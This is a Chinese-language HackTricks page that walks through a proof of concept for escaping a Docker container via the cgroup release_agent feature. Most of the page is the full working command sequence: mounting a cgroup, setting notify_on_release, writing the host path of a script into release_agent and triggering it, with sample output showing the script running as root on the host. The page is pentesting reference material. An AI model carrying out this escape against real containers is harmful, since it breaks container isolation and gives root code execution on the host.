7.5 KiB
Docker release_agent cgroups逃逸
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
分解概念验证
为了触发此漏洞利用,我们需要一个cgroup,我们可以在其中创建一个release_agent
文件,并通过杀死cgroup中的所有进程来触发release_agent
调用。实现这一目标的最简单方法是挂载一个cgroup控制器并创建一个子cgroup。
为此,我们创建一个/tmp/cgrp
目录,挂载RDMA cgroup控制器,并创建一个子cgroup(在本示例中命名为“x”)。虽然并未测试每个cgroup控制器,但这种技术应该适用于大多数cgroup控制器。
如果你正在跟随并遇到**mount: /tmp/cgrp: special device cgroup does not exist
**,那是因为你的设置没有RDMA cgroup控制器。将rdma
更改为memory
以修复。我们使用RDMA是因为原始的PoC只设计用于与其一起使用。
请注意,cgroup控制器是全局资源,可以多次挂载,具有不同的权限,并且在一个挂载中进行的更改将应用于另一个挂载。
我们可以在下面看到“x”子cgroup的创建和其目录列表。
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
接下来,我们通过向notify_on_release
文件写入1来启用对“x” cgroup释放的cgroup通知。我们还通过将主机上的release_agent
文件写入/cmd
脚本的路径来设置RDMA cgroup的释放代理,我们稍后将在容器中创建该脚本。为此,我们将从/etc/mtab
文件中获取容器在主机上的路径。
我们在容器中添加或修改的文件存在于主机上,并且可以从两个世界(容器中的路径和主机上的路径)修改它们。
下面是这些操作的示例:
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
请注意我们将在主机上创建的 /cmd
脚本的路径:
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
现在,我们创建/cmd
脚本,使其执行ps aux
命令,并将其输出保存到容器中的/output
文件中,通过指定主机上输出文件的完整路径。最后,我们还打印/cmd
脚本以查看其内容:
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
最后,我们可以通过在“x”子cgroup中生成一个立即结束的进程来执行攻击。通过创建一个/bin/sh
进程并将其PID写入“x”子cgroup目录中的cgroup.procs
文件,主机上的脚本将在/bin/sh
退出后执行。然后,主机上执行的ps aux
命令的输出将保存到容器内的/output
文件中:
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
参考资料
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。